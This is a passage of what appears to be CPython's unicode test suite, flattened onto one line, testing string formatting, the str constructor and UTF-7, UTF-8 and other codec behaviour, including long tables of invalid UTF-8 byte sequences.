'%x', 3.14), self.assertRaisesRegex(TypeError, '%X format: an integer is required, not float', operator.mod, '%X', 2.11), self.assertRaisesRegex(TypeError, '%o format: an integer is required, not float', operator.mod, '%o', 1.79), self.assertRaisesRegex(TypeError, '%x format: an integer is required, not PseudoFloat', operator.mod, '%x', pi), self.assertRaises(TypeError, operator.mod, '%c', pi), def test_formatting_with_enum(self): # issue18780 import enum class Float(float, enum.Enum): PI = 3.1415926 class Int(enum.IntEnum): IDES = 15 class Str(str, enum.Enum): ABC = 'abc' # Testing Unicode formatting strings... self.assertEqual("%s, %s" % (Str.ABC, Str.ABC), 'Str.ABC, Str.ABC') self.assertEqual("%s, %s, %d, %i, %u, %f, %5.2f" % (Str.ABC, Str.ABC, Int.IDES, Int.IDES, Int.IDES, Float.PI, Float.PI), 'Str.ABC, Str.ABC, 15, 15, 15, 3.141593, 3.14') # formatting jobs delegated from the string implementation: self.assertEqual('...%(foo)s...' % {'foo':Str.ABC}, '...Str.ABC...') self.assertEqual('...%(foo)s...' % {'foo':Int.IDES}, '...Int.IDES...') self.assertEqual('...%(foo)i...' % {'foo':Int.IDES}, '...15...') self.assertEqual('...%(foo)d...' % {'foo':Int.IDES}, '...15...') self.assertEqual('...%(foo)u...' % {'foo':Int.IDES, 'def':Float.PI}, '...15...') self.assertEqual('...%(foo)f...' % {'foo':Float.PI,'def':123}, '...3.141593...') def test_formatting_huge_precision(self): format_string = "%.{}f".format(sys.maxsize + 1) with self.assertRaises(ValueError): result = format_string % 2.34 def test_issue28598_strsubclass_rhs(self): # A subclass of str with an __rmod__ method should be able to hook # into the % operator class SubclassedStr(str): def __rmod__(self, other): return 'Success, self.__rmod__({!r}) was called'.format(other) self.assertEqual('lhs %% %r' % SubclassedStr('rhs'), "Success, self.__rmod__('lhs %% %r') was called") @support.cpython_only def test_formatting_huge_precision_c_limits(self): from _testcapi import INT_MAX format_string = "%.{}f".format(INT_MAX + 1) with self.assertRaises(ValueError): result = format_string % 2.34 def test_formatting_huge_width(self): format_string = "%{}f".format(sys.maxsize + 1) with self.assertRaises(ValueError): result = format_string % 2.34 def test_startswith_endswith_errors(self): for meth in ('foo'.startswith, 'foo'.endswith): with self.assertRaises(TypeError) as cm: meth(['f']) exc = str(cm.exception) self.assertIn('str', exc) self.assertIn('tuple', exc) @support.run_with_locale('LC_ALL', 'de_DE', 'fr_FR') def test_format_float(self): # should not format with a comma, but always with C locale self.assertEqual('1.0', '%.1f' % 1.0) def test_constructor(self): # unicode(obj) tests (this maps to PyObject_Unicode() at C level) self.assertEqual( str('unicode remains unicode'), 'unicode remains unicode' ) for text in ('ascii', '\xe9', '\u20ac', '\U0010FFFF'): subclass = StrSubclass(text) self.assertEqual(str(subclass), text) self.assertEqual(len(subclass), len(text)) if text == 'ascii': self.assertEqual(subclass.encode('ascii'), b'ascii') self.assertEqual(subclass.encode('utf-8'), b'ascii') self.assertEqual( str('strings are converted to unicode'), 'strings are converted to unicode' ) class StringCompat: def __init__(self, x): self.x = x def __str__(self): return self.x self.assertEqual( str(StringCompat('__str__ compatible objects are recognized')), '__str__ compatible objects are recognized' ) # unicode(obj) is compatible to str(): o = StringCompat('unicode(obj) is compatible to str()') self.assertEqual(str(o), 'unicode(obj) is compatible to str()') self.assertEqual(str(o), 'unicode(obj) is compatible to str()') for obj in (123, 123.45, 123): self.assertEqual(str(obj), str(str(obj))) # unicode(obj, encoding, error) tests (this maps to # PyUnicode_FromEncodedObject() at C level) if not sys.platform.startswith('java'): self.assertRaises( TypeError, str, 'decoding unicode is not supported', 'utf-8', 'strict' ) self.assertEqual( str(b'strings are decoded to unicode', 'utf-8', 'strict'), 'strings are decoded to unicode' ) if not sys.platform.startswith('java'): self.assertEqual( str( memoryview(b'character buffers are decoded to unicode'), 'utf-8', 'strict' ), 'character buffers are decoded to unicode' ) self.assertRaises(TypeError, str, 42, 42, 42) def test_constructor_keyword_args(self): # The object argument can be passed as a keyword. self.assertEqual(str(object='foo'), 'foo') self.assertEqual(str(object=b'foo', encoding='utf-8'), 'foo') # The errors argument without encoding triggers "decode" mode. self.assertEqual(str(b'foo', errors='strict'), 'foo') # not "b'foo'" self.assertEqual(str(object=b'foo', errors='strict'), 'foo') def test_constructor_defaults(self): # The object argument defaults to '' or b''. self.assertEqual(str(), '') self.assertEqual(str(errors='strict'), '') utf8_cent = '¢'.encode('utf-8') # The encoding argument defaults to utf-8. self.assertEqual(str(utf8_cent, errors='strict'), '¢') # The errors argument defaults to strict. self.assertRaises(UnicodeDecodeError, str, utf8_cent, encoding='ascii') def test_codecs_utf7(self): utfTests = [ ('A\u2262\u0391.', b'A+ImIDkQ.'), # RFC2152 example ('Hi Mom -\u263a-!', b'Hi Mom -+Jjo--!'), # RFC2152 example ('\u65E5\u672C\u8A9E', b'+ZeVnLIqe-'), # RFC2152 example ('Item 3 is \u00a31.', b'Item 3 is +AKM-1.'), # RFC2152 example ('+', b'+-'), ('+-', b'+--'), ('+?', b'+-?'), (r'\?', b'+AFw?'), ('+?', b'+-?'), (r'\\?', b'+AFwAXA?'), (r'\\\?', b'+AFwAXABc?'), (r'++--', b'+-+---'), ('\U000abcde', b'+2m/c3g-'), # surrogate pairs ('/', b'/'), ] for (x, y) in utfTests: self.assertEqual(x.encode('utf-7'), y) # Unpaired surrogates are passed through self.assertEqual('\uD801'.encode('utf-7'), b'+2AE-') self.assertEqual('\uD801x'.encode('utf-7'), b'+2AE-x') self.assertEqual('\uDC01'.encode('utf-7'), b'+3AE-') self.assertEqual('\uDC01x'.encode('utf-7'), b'+3AE-x') self.assertEqual(b'+2AE-'.decode('utf-7'), '\uD801') self.assertEqual(b'+2AE-x'.decode('utf-7'), '\uD801x') self.assertEqual(b'+3AE-'.decode('utf-7'), '\uDC01') self.assertEqual(b'+3AE-x'.decode('utf-7'), '\uDC01x') self.assertEqual('\uD801\U000abcde'.encode('utf-7'), b'+2AHab9ze-') self.assertEqual(b'+2AHab9ze-'.decode('utf-7'), '\uD801\U000abcde') # Issue #2242: crash on some Windows/MSVC versions self.assertEqual(b'+\xc1'.decode('utf-7', 'ignore'), '') # Direct encoded characters set_d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'(),-./:?" set_o = '!"#$%&*;<=>@[]^_`{|}' for c in set_d: self.assertEqual(c.encode('utf7'), c.encode('ascii')) self.assertEqual(c.encode('ascii').decode('utf7'), c) for c in set_o: self.assertEqual(c.encode('ascii').decode('utf7'), c) def test_codecs_utf8(self): self.assertEqual(''.encode('utf-8'), b'') self.assertEqual('\u20ac'.encode('utf-8'), b'\xe2\x82\xac') self.assertEqual('\U00010002'.encode('utf-8'), b'\xf0\x90\x80\x82') self.assertEqual('\U00023456'.encode('utf-8'), b'\xf0\xa3\x91\x96') self.assertEqual('\ud800'.encode('utf-8', 'surrogatepass'), b'\xed\xa0\x80') self.assertEqual('\udc00'.encode('utf-8', 'surrogatepass'), b'\xed\xb0\x80') self.assertEqual(('\U00010002'*10).encode('utf-8'), b'\xf0\x90\x80\x82'*10) self.assertEqual( '\u6b63\u78ba\u306b\u8a00\u3046\u3068\u7ffb\u8a33\u306f' '\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002\u4e00' '\u90e8\u306f\u30c9\u30a4\u30c4\u8a9e\u3067\u3059\u304c' '\u3001\u3042\u3068\u306f\u3067\u305f\u3089\u3081\u3067' '\u3059\u3002\u5b9f\u969b\u306b\u306f\u300cWenn ist das' ' Nunstuck git und'.encode('utf-8'), b'\xe6\xad\xa3\xe7\xa2\xba\xe3\x81\xab\xe8\xa8\x80\xe3\x81' b'\x86\xe3\x81\xa8\xe7\xbf\xbb\xe8\xa8\xb3\xe3\x81\xaf\xe3' b'\x81\x95\xe3\x82\x8c\xe3\x81\xa6\xe3\x81\x84\xe3\x81\xbe' b'\xe3\x81\x9b\xe3\x82\x93\xe3\x80\x82\xe4\xb8\x80\xe9\x83' b'\xa8\xe3\x81\xaf\xe3\x83\x89\xe3\x82\xa4\xe3\x83\x84\xe8' b'\xaa\x9e\xe3\x81\xa7\xe3\x81\x99\xe3\x81\x8c\xe3\x80\x81' b'\xe3\x81\x82\xe3\x81\xa8\xe3\x81\xaf\xe3\x81\xa7\xe3\x81' b'\x9f\xe3\x82\x89\xe3\x82\x81\xe3\x81\xa7\xe3\x81\x99\xe3' b'\x80\x82\xe5\xae\x9f\xe9\x9a\x9b\xe3\x81\xab\xe3\x81\xaf' b'\xe3\x80\x8cWenn ist das Nunstuck git und' ) # UTF-8 specific decoding tests self.assertEqual(str(b'\xf0\xa3\x91\x96', 'utf-8'), '\U00023456' ) self.assertEqual(str(b'\xf0\x90\x80\x82', 'utf-8'), '\U00010002' ) self.assertEqual(str(b'\xe2\x82\xac', 'utf-8'), '\u20ac' ) # Other possible utf-8 test cases: # * strict decoding testing for all of the # UTF8_ERROR cases in PyUnicode_DecodeUTF8 def test_utf8_decode_valid_sequences(self): sequences = [ # single byte (b'\x00', '\x00'), (b'a', 'a'), (b'\x7f', '\x7f'), # 2 bytes (b'\xc2\x80', '\x80'), (b'\xdf\xbf', '\u07ff'), # 3 bytes (b'\xe0\xa0\x80', '\u0800'), (b'\xed\x9f\xbf', '\ud7ff'), (b'\xee\x80\x80', '\uE000'), (b'\xef\xbf\xbf', '\uffff'), # 4 bytes (b'\xF0\x90\x80\x80', '\U00010000'), (b'\xf4\x8f\xbf\xbf', '\U0010FFFF') ] for seq, res in sequences: self.assertEqual(seq.decode('utf-8'), res) def test_utf8_decode_invalid_sequences(self): # continuation bytes in a sequence of 2, 3, or 4 bytes continuation_bytes = [bytes([x]) for x in range(0x80, 0xC0)] # start bytes of a 2-byte sequence equivalent to code points < 0x7F invalid_2B_seq_start_bytes = [bytes([x]) for x in range(0xC0, 0xC2)] # start bytes of a 4-byte sequence equivalent to code points > 0x10FFFF invalid_4B_seq_start_bytes = [bytes([x]) for x in range(0xF5, 0xF8)] invalid_start_bytes = ( continuation_bytes + invalid_2B_seq_start_bytes + invalid_4B_seq_start_bytes + [bytes([x]) for x in range(0xF7, 0x100)] ) for byte in invalid_start_bytes: self.assertRaises(UnicodeDecodeError, byte.decode, 'utf-8') for sb in invalid_2B_seq_start_bytes: for cb in continuation_bytes: self.assertRaises(UnicodeDecodeError, (sb+cb).decode, 'utf-8') for sb in invalid_4B_seq_start_bytes: for cb1 in continuation_bytes[:3]: for cb3 in continuation_bytes[:3]: self.assertRaises(UnicodeDecodeError, (sb+cb1+b'\x80'+cb3).decode, 'utf-8') for cb in [bytes([x]) for x in range(0x80, 0xA0)]: self.assertRaises(UnicodeDecodeError, (b'\xE0'+cb+b'\x80').decode, 'utf-8') self.assertRaises(UnicodeDecodeError, (b'\xE0'+cb+b'\xBF').decode, 'utf-8') # surrogates for cb in [bytes([x]) for x in range(0xA0, 0xC0)]: self.assertRaises(UnicodeDecodeError, (b'\xED'+cb+b'\x80').decode, 'utf-8') self.assertRaises(UnicodeDecodeError, (b'\xED'+cb+b'\xBF').decode, 'utf-8') for cb in [bytes([x]) for x in range(0x80, 0x90)]: self.assertRaises(UnicodeDecodeError, (b'\xF0'+cb+b'\x80\x80').decode, 'utf-8') self.assertRaises(UnicodeDecodeError, (b'\xF0'+cb+b'\xBF\xBF').decode, 'utf-8') for cb in [bytes([x]) for x in range(0x90, 0xC0)]: self.assertRaises(UnicodeDecodeError, (b'\xF4'+cb+b'\x80\x80').decode, 'utf-8') self.assertRaises(UnicodeDecodeError, (b'\xF4'+cb+b'\xBF\xBF').decode, 'utf-8') def test_issue8271(self): # Issue #8271: during the decoding of an invalid UTF-8 byte sequence, # only the start byte and the continuation byte(s) are now considered # invalid, instead of the number of bytes specified by the start byte. # See http://www.unicode.org/versions/Unicode5.2.0/ch03.pdf (page 95, # table 3-8, Row 2) for more information about the algorithm used. FFFD = '\ufffd' sequences = [ # invalid start bytes (b'\x80', FFFD), # continuation byte (b'\x80\x80', FFFD*2), # 2 continuation bytes (b'\xc0', FFFD), (b'\xc0\xc0', FFFD*2), (b'\xc1', FFFD), (b'\xc1\xc0', FFFD*2), (b'\xc0\xc1', FFFD*2), # with start byte of a 2-byte sequence (b'\xc2', FFFD), # only the start byte (b'\xc2\xc2', FFFD*2), # 2 start bytes (b'\xc2\xc2\xc2', FFFD*3), # 3 start bytes (b'\xc2\x41', FFFD+'A'), # invalid continuation byte # with start byte of a 3-byte sequence (b'\xe1', FFFD), # only the start byte (b'\xe1\xe1', FFFD*2), # 2 start bytes (b'\xe1\xe1\xe1', FFFD*3), # 3 start bytes (b'\xe1\xe1\xe1\xe1', FFFD*4), # 4 start bytes (b'\xe1\x80', FFFD), # only 1 continuation byte (b'\xe1\x41', FFFD+'A'), # invalid continuation byte (b'\xe1\x41\x80', FFFD+'A'+FFFD), # invalid cb followed by valid cb (b'\xe1\x41\x41', FFFD+'AA'), # 2 invalid continuation bytes (b'\xe1\x80\x41', FFFD+'A'), # only 1 valid continuation byte (b'\xe1\x80\xe1\x41', FFFD*2+'A'), # 1 valid and the other invalid (b'\xe1\x41\xe1\x80', FFFD+'A'+FFFD), # 1 invalid and the other valid # with start byte of a 4-byte sequence (b'\xf1', FFFD), # only the start byte (b'\xf1\xf1', FFFD*2), # 2 start bytes (b'\xf1\xf1\xf1', FFFD*3), # 3 start bytes (b'\xf1\xf1\xf1\xf1', FFFD*4), # 4 start bytes (b'\xf1\xf1\xf1\xf1\xf1', FFFD*5), # 5 start bytes (b'\xf1\x80', FFFD), # only 1 continuation bytes (b'\xf1\x80\x80', FFFD), # only 2 continuation bytes (b'\xf1\x80\x41', FFFD+'A'), # 1 valid cb and 1 invalid (b'\xf1\x80\x41\x41', FFFD+'AA'), # 1 valid cb and 1 invalid (b'\xf1\x80\x80\x41', FFFD+'A'), # 2 valid cb and 1 invalid (b'\xf1\x41\x80', FFFD+'A'+FFFD), # 1 invalid cv and 1 valid (b'\xf1\x41\x80\x80', FFFD+'A'+FFFD*2), # 1 invalid cb and 2 invalid (b'\xf1\x41\x80\x41', FFFD+'A'+FFFD+'A'), # 2 invalid cb and 1 invalid (b'\xf1\x41\x41\x80', FFFD+'AA'+FFFD), # 1 valid cb and 1 invalid (b'\xf1\x41\xf1\x80', FFFD+'A'+FFFD), (b'\xf1\x41\x80\xf1', FFFD+'A'+FFFD*2), (b'\xf1\xf1\x80\x41', FFFD*2+'A'), (b'\xf1\x41\xf1\xf1', FFFD+'A'+FFFD*2), # with invalid start byte of a 4-byte sequence (rfc2279) (b'\xf5', FFFD), # only the start byte (b'\xf5\xf5', FFFD*2), # 2 start bytes (b'\xf5\x80', FFFD*2), # only 1 continuation byte (b'\xf5\x80\x80', FFFD*3), # only 2 continuation byte (b'\xf5\x80\x80\x80', FFFD*4), # 3 continuation bytes (b'\xf5\x80\x41', FFFD*2+'A'), # 1 valid cb and 1 invalid (b'\xf5\x80\x41\xf5', FFFD*2+'A'+FFFD), (b'\xf5\x41\x80\x80\x41', FFFD+'A'+FFFD*2+'A'), # with invalid start byte of a 5-byte sequence (rfc2279) (b'\xf8', FFFD), # only the start byte (b'\xf8\xf8', FFFD*2), # 2 start bytes (b'\xf8\x80', FFFD*2), # only one continuation byte (b'\xf8\x80\x41', FFFD*2 + 'A'), # 1 valid cb and 1 invalid (b'\xf8\x80\x80\x80\x80', FFFD*5), # invalid 5 bytes seq with 5 bytes # with invalid start byte of a 6-byte sequence (rfc2279) (b'\xfc', FFFD), # only the start byte (b'\xfc\xfc', FFFD*2), # 2 start bytes (b'\xfc\x80\x80', FFFD*3), # only 2 continuation bytes (b'\xfc\x80\x80\x80\x80\x80', FFFD*6), # 6 continuation bytes # invalid start byte (b'\xfe', FFFD), (b'\xfe\x80\x80', FFFD*3), # other sequences (b'\xf1\x80\x41\x42\x43', '\ufffd\x41\x42\x43'), (b'\xf1\x80\xff\x42\x43', '\ufffd\ufffd\x42\x43'), (b'\xf1\x80\xc2\x81\x43', '\ufffd\x81\x43'), (b'\x61\xF1\x80\x80\xE1\x80\xC2\x62\x80\x63\x80\xBF\x64', '\x61\uFFFD\uFFFD\uFFFD\x62\uFFFD\x63\uFFFD\uFFFD\x64'), ] for n, (seq, res) in enumerate(sequences): self.assertRaises(UnicodeDecodeError, seq.decode, 'utf-8', 'strict') self.assertEqual(seq.decode('utf-8', 'replace'), res) self.assertEqual((seq+b'b').decode('utf-8', 'replace'), res+'b') self.assertEqual(seq.decode('utf-8', 'ignore'), res.replace('\uFFFD', '')) def assertCorrectUTF8Decoding(self, seq, res, err): with self.assertRaises(UnicodeDecodeError) as cm: seq.decode('utf-8') exc = cm.exception self.assertIn(err, str(exc)) self.assertEqual(seq.decode('utf-8', 'replace'), res) self.assertEqual((b'aaaa' + seq + b'bbbb').decode('utf-8', 'replace'), 'aaaa' + res + 'bbbb') res = res.replace('\ufffd', '') self.assertEqual(seq.decode('utf-8', 'ignore'), res) self.assertEqual((b'aaaa' + seq + b'bbbb').decode('utf-8', 'ignore'), 'aaaa' + res + 'bbbb') def test_invalid_start_byte(self): FFFD = '\ufffd' for byte in b'\x80\xA0\x9F\xBF\xC0\xC1\xF5\xFF': self.assertCorrectUTF8Decoding(bytes([byte]), '\ufffd', 'invalid start byte') def test_unexpected_end_of_data(self): sequences = [ 'C2', 'DF', 'E0 A0', 'E0 BF', 'E1 80', 'E1 BF', 'EC 80', 'EC BF', 'ED 80', 'ED 9F', 'EE 80', 'EE BF', 'EF 80', 'EF BF', 'F0 90', 'F0 BF', 'F0 90 80', 'F0 90 BF', 'F0 BF 80', 'F0 BF BF', 'F1 80', 'F1 BF', 'F1 80 80', 'F1 80 BF', 'F1 BF 80', 'F1 BF BF', 'F3 80', 'F3 BF', 'F3 80 80', 'F3 80 BF', 'F3 BF 80', 'F3 BF BF', 'F4 80', 'F4 8F', 'F4 80 80', 'F4 80 BF', 'F4 8F 80', 'F4 8F BF' ] FFFD = '\ufffd' for seq in sequences: self.assertCorrectUTF8Decoding(bytes.fromhex(seq), '\ufffd', 'unexpected end of data') def test_invalid_cb_for_2bytes_seq(self): FFFD = '\ufffd' FFFDx2 = FFFD * 2 sequences = [ ('C2 00', FFFD+'\x00'), ('C2 7F', FFFD+'\x7f'), ('C2 C0', FFFDx2), ('C2 FF', FFFDx2), ('DF 00', FFFD+'\x00'), ('DF 7F', FFFD+'\x7f'), ('DF C0', FFFDx2), ('DF FF', FFFDx2), ] for seq, res in sequences: self.assertCorrectUTF8Decoding(bytes.fromhex(seq), res, 'invalid continuation byte') def test_invalid_cb_for_3bytes_seq(self): FFFD = '\ufffd' FFFDx2 = FFFD * 2 sequences = [ ('E0 00', FFFD+'\x00'), ('E0 7F', FFFD+'\x7f'), ('E0 80', FFFDx2), ('E0 9F', FFFDx2), ('E0 C0', FFFDx2), ('E0 FF', FFFDx2), ('E0 A0 00', FFFD+'\x00'), ('E0 A0 7F', FFFD+'\x7f'), ('E0 A0 C0', FFFDx2), ('E0 A0 FF', FFFDx2), ('E0 BF 00', FFFD+'\x00'), ('E0 BF 7F', FFFD+'\x7f'), ('E0 BF C0', FFFDx2), ('E0 BF FF', FFFDx2), ('E1 00', FFFD+'\x00'), ('E1 7F', FFFD+'\x7f'), ('E1 C0', FFFDx2), ('E1 FF', FFFDx2), ('E1 80 00', FFFD+'\x00'), ('E1 80 7F', FFFD+'\x7f'), ('E1 80 C0', FFFDx2), ('E1 80 FF', FFFDx2), ('E1 BF 00', FFFD+'\x00'), ('E1 BF 7F', FFFD+'\x7f'), ('E1 BF C0', FFFDx2), ('E1 BF FF', FFFDx2), ('EC 00', FFFD+'\x00'), ('EC 7F', FFFD+'\x7f'), ('EC C0', FFFDx2), ('EC FF', FFFDx2), ('EC 80 00', FFFD+'\x00'), ('EC 80 7F', FFFD+'\x7f'), ('EC 80 C0', FFFDx2), ('EC 80 FF', FFFDx2), ('EC BF 00', FFFD+'\x00'), ('EC BF 7F', FFFD+'\x7f'), ('EC BF C0', FFFDx2), ('EC BF FF', FFFDx2), ('ED 00', FFFD+'\x00'), ('ED 7F', FFFD+'\x7f'), ('ED A0', FFFDx2), ('ED BF', FFFDx2), # see note ^ ('ED C0', FFFDx2), ('ED FF', FFFDx2), ('ED 80 00', FFFD+'\x00'), ('ED 80 7F', FFFD+'\x7f'), ('ED 80 C0', FFFDx2), ('ED 80 FF', FFFDx2), ('ED 9F 00', FFFD+'\x00'), ('ED 9F 7F', FFFD+'\x7f'), ('ED 9F C0', FFFDx2), ('ED 9F FF', FFFDx2), ('EE 00', FFFD+'\x00'), ('EE 7F', FFFD+'\x7f'), ('EE C0', FFFDx2), ('EE FF', FFFDx2), ('EE 80 00', FFFD+'\x00'), ('EE 80 7F', FFFD+'\x7f'), ('EE 80 C0', FFFDx2), ('EE 80 FF', FFFDx2), ('EE BF 00', FFFD+'\x00'), ('EE BF 7F', FFFD+'\x7f'), ('EE BF C0', FFFDx2), ('EE BF FF', FFFDx2), ('EF 00', FFFD+'\x00'), ('EF 7F', FFFD+'\x7f'), ('EF C0', FFFDx2), ('EF FF', FFFDx2), ('EF 80 00', FFFD+'\x00'), ('EF 80 7F', FFFD+'\x7f'), ('EF 80 C0', FFFDx2), ('EF 80 FF', FFFDx2), ('EF BF 00', FFFD+'\x00'), ('EF BF 7F', FFFD+'\x7f'), ('EF BF C0', FFFDx2), ('EF BF FF', FFFDx2), ] for seq, res in sequences: self.assertCorrectUTF8Decoding(bytes.fromhex(seq), res, 'invalid continuation byte') def test_invalid_cb_for_4bytes_seq(self): FFFD = '\ufffd' FFFDx2 = FFFD * 2 sequences = [ ('F0 00', FFFD+'\x00'), ('F0 7F', FFFD+'\x7f'), ('F0 80', FFFDx2), ('F0 8F', FFFDx2), ('F0 C0', FFFDx2), ('F0 FF', FFFDx2), ('F0 90 00', FFFD+'\x00'), ('F0 90 7F', FFFD+'\x7f'), ('F0 90 C0', FFFDx2), ('F0 90 FF', FFFDx2), ('F0 BF 00', FFFD+'\x00'), ('F0 BF 7F', FFFD+'\x7f'), ('F0 BF C0', FFFDx2), ('F0 BF FF', FFFDx2), ('F0 90 80 00', FFFD+'\x00'), ('F0 90 80 7F', FFFD+'\x7f'), ('F0 90 80 C0', FFFDx2), ('F0 90 80 FF', FFFDx2), ('F0 90 BF 00', FFFD+'\x00'), ('F0 90 BF 7F', FFFD+'\x7f'), ('F0 90 BF C0', FFFDx2), ('F0 90 BF FF', FFFDx2), ('F0 BF 80 00', FFFD+'\x00'), ('F0 BF 80 7F', FFFD+'\x7f'), ('F0 BF 80 C0', FFFDx2), ('F0 BF 80 FF', FFFDx2), ('F0 BF BF 00', FFFD+'\x00'), ('F0 BF BF 7F', FFFD+'\x7f'), ('F0 BF BF C0', FFFDx2), ('F0 BF BF FF', FFFDx2), ('F1 00', FFFD+'\x00'), ('F1 7F', FFFD+'\x7f'), ('F1 C0', FFFDx2), ('F1 FF', FFFDx2), ('F1 80 00', FFFD+'\x00'), ('F1 80 7F', FFFD+'\x7f'), ('F1 80 C0', FFFDx2), ('F1 80 FF', FFFDx2), ('F1 BF 00', FFFD+'\x00'), ('F1 BF 7F', FFFD+'\x7f'), ('F1 BF C0', FFFDx2), ('F1 BF FF', FFFDx2), ('F1 80 80 00', FFFD+'\x00'), ('F1 80 80 7F', FFFD+'\x7f'), ('F1 80 80 C0', FFFDx2), ('F1 80 80 FF', FFFDx2), ('F1 80 BF 00', FFFD+'\x00'), ('F1 80 BF 7F', FFFD+'\x7f'), ('F1 80 BF C0', FFFDx2), ('F1 80 BF FF', FFFDx2), ('F1 BF 80 00', FFFD+'\x00'), ('F1 BF 80 7F', FFFD+'\x7f'), ('F1 BF 80 C0', FFFDx2), ('F1 BF 80 FF', FFFDx2), ('F1 BF BF 00', FFFD+'\x00'), ('F1 BF BF 7F', FFFD+'\x7f'), ('F1 BF BF C0', FFFDx2), ('F1 BF BF FF', FFFDx2), ('F3 00', FFFD+'\x00'), ('F3 7F', FFFD+'\x7f'), ('F3 C0', FFFDx2), ('F3 FF', FFFDx2), ('F3 80 00', FFFD+'\x00'), ('F3 80 7F', FFFD+'\x7f'), ('F3 80 C0', FFFDx2), ('F3 80 FF', FFFDx2), ('F3 BF 00', FFFD+'\x00'), ('F3 BF 7F', FFFD+'\x7f'), ('F3 BF C0', FFFDx2), ('F3 BF FF', FFFDx2), ('F3 80 80 00', FFFD+'\x00'), ('F3 80 80 7F', FFFD+'\x7f'), ('F3 80 80 C0', FFFDx2), ('F3 80 80 FF', FFFDx2), ('F3 80 BF 00', FFFD+'\x00'), ('F3 80 BF 7F', FFFD+'\x7f'), ('F3 80 BF C0', FFFDx2), ('F3 80 BF FF', FFFDx2), ('F3 BF 80 00', FFFD+'\x00'), ('F3 BF 80 7F', FFFD+'\x7f'), ('F3 BF 80 C0', FFFDx2), ('F3 BF 80 FF', FFFDx2), ('F3 BF BF 00', FFFD+'\x00'), ('F3 BF BF 7F', FFFD+'\x7f'), ('F3 BF BF C0', FFFDx2), ('F3 BF BF FF', FFFDx2), ('F4 00', FFFD+'\x00'), ('F4 7F', FFFD+'\x7f'), ('F4 90', FFFDx2), ('F4 BF', FFFDx2), ('F4 C0', FFFDx2), ('F4 FF', FFFDx2), ('F4 80 00', FFFD+'\x00'), ('F4 80 7F', FFFD+'\x7f'), ('F4 80 C0', FFFDx2), ('F4 80 FF', FFFDx2), ('F4 8F 00', FFFD+'\x00'), ('F4 8F 7F', FFFD+'\x7f'), ('F4 8F C0', FFFDx2), ('F4 8F FF', FFFDx2), ('F4 80 80 00', FFFD+'\x00'), ('F4 80 80 7F', FFFD+'\x7f'), ('F4 80 80 C0', FFFDx2), ('F4 80 80 FF', FFFDx2), ('F4 80 BF 00', FFFD+'\x00'), ('F4 80 BF 7F', FFFD+'\x7f'), ('F4 80 BF C0', FFFDx2), ('F4 80 BF FF', FFFDx2), ('F4 8F 80 00', FFFD+'\x00'), ('F4 8F 80 7F', FFFD+'\x7f'), ('F4 8F 80 C0', FFFDx2), ('F4 8F 80 FF', FFFDx2), ('F4 8F BF 00', FFFD+'\x00'), ('F4 8F BF 7F', FFFD+'\x7f'), ('F4 8F BF C0', FFFDx2), ('F4 8F BF FF', FFFDx2) ] for seq, res in sequences: self.assertCorrectUTF8Decoding(bytes.fromhex(seq), res, 'invalid continuation byte') def test_codecs_idna(self): # Test whether trailing dot is preserved self.assertEqual("www.python.org.".encode("idna"), b"www.python.org.") def test_codecs_errors(self): # Error handling (encoding) self.assertRaises(UnicodeError, 'Andr\202 x'.encode, 'ascii') self.assertRaises(UnicodeError, 'Andr\202 x'.encode, 'ascii','strict') self.assertEqual('Andr\202 x'.encode('ascii','ignore'), b"Andr x") self.assertEqual('Andr\202 x'.encode('ascii','replace'), b"Andr? x") self.assertEqual('Andr\202 x'.encode('ascii', 'replace'), 'Andr\202 x'.encode('ascii', errors='replace')) self.assertEqual('Andr\202 x'.encode('ascii', 'ignore'), 'Andr\202 x'.encode(encoding='ascii', errors='ignore')) # Error handling (decoding) self.assertRaises(UnicodeError, str, b'Andr\202 x', 'ascii') self.assertRaises(UnicodeError, str, b'Andr\202 x', 'ascii', 'strict') self.assertEqual(str(b'Andr\202 x', 'ascii', 'ignore'), "Andr x") self.assertEqual(str(b'Andr\202 x', 'ascii', 'replace'), 'Andr\uFFFD x') self.assertEqual(str(b'\202 x', 'ascii', 'replace'), '\uFFFD x') # Error handling (unknown character names) self.assertEqual(b"\\N{foo}xx".decode("unicode-escape", "ignore"), "xx") # Error handling (truncated escape sequence) self.assertRaises(UnicodeError, b"\\".decode, "unicode-escape") self.assertRaises(TypeError, b"hello".decode, "test.unicode1") self.assertRaises(TypeError, str, b"hello", "test.unicode2") self.assertRaises(TypeError, "hello".encode, "test.unicode1") self.assertRaises(TypeError, "hello".encode, "test.unicode2") # Error handling (wrong arguments) self.assertRaises(TypeError, "hello".encode, 42, 42, 42) # Error handling (lone surrogate in PyUnicode_TransformDecimalToASCII()) self.assertRaises(UnicodeError, float, "\ud800") self.assertRaises(UnicodeError, float, "\udf00") self.assertRaises(UnicodeError, complex, "\ud800") self.assertRaises(UnicodeError, complex, "\udf00") def test_codecs(self): # Encoding self.assertEqual('hello'.encode('ascii'), b'hello') self.assertEqual('hello'.encode('utf-7'), b'hello') self.assertEqual('hello'.encode('utf-8'), b'hello') self.assertEqual('hello'.encode('utf-8'), b'hello') self.assertEqual('hello'.encode('utf-16-le'), b'h\000e\000l\000l\000o\000') self.assertEqual('hello'.encode('utf-16-be'), b'\000h\000e\000l\000l\000o') self.assertEqual('hello'.encode('latin-1'), b'hello') # Default encoding is utf-8 self.assertEqual('\u2603'.encode(), b'\xe2\x98\x83') # Roundtrip safety for BMP (just the first 1024 chars) for c in range(1024): u = chr(c) for encoding in ('utf-7', 'utf-8', 'utf-16', 'utf-16-le', 'utf-16-be', 'raw_unicode_escape', 'unicode_escape', 'unicode_internal'): with warnings.catch_warnings(): # unicode-internal has been deprecated warnings.simplefilter("ignore", DeprecationWarning) self.assertEqual(str(u.encode(encoding),encoding), u) # Roundtrip safety for BMP (just the first 256 chars) for c in range(256): u = chr(c) for encoding in ('latin-1',): self.assertEqual(str(u.encode(encoding),encoding), u) # Roundtrip safety for BMP (just the first 128 chars) for c in range(128): u = chr(c) for encoding in ('ascii',): self.assertEqual(str(u.encode(encoding),encoding), u) # Roundtrip safety for non-BMP (just a few chars) with warnings.catch_warnings(): # unicode-internal has been deprecated warnings.simplefilter("ignore", DeprecationWarning) u = '\U00010001\U00020002\U00030003\U00040004\U00050005' for encoding in ('utf-8', 'utf-16', 'utf-16-le', 'utf-16-be', 'raw_unicode_escape', 'unicode_escape', 'unicode_internal'): self.assertEqual(str(u.encode(encoding),encoding), u) # UTF-8 must be roundtrip safe for all code points # 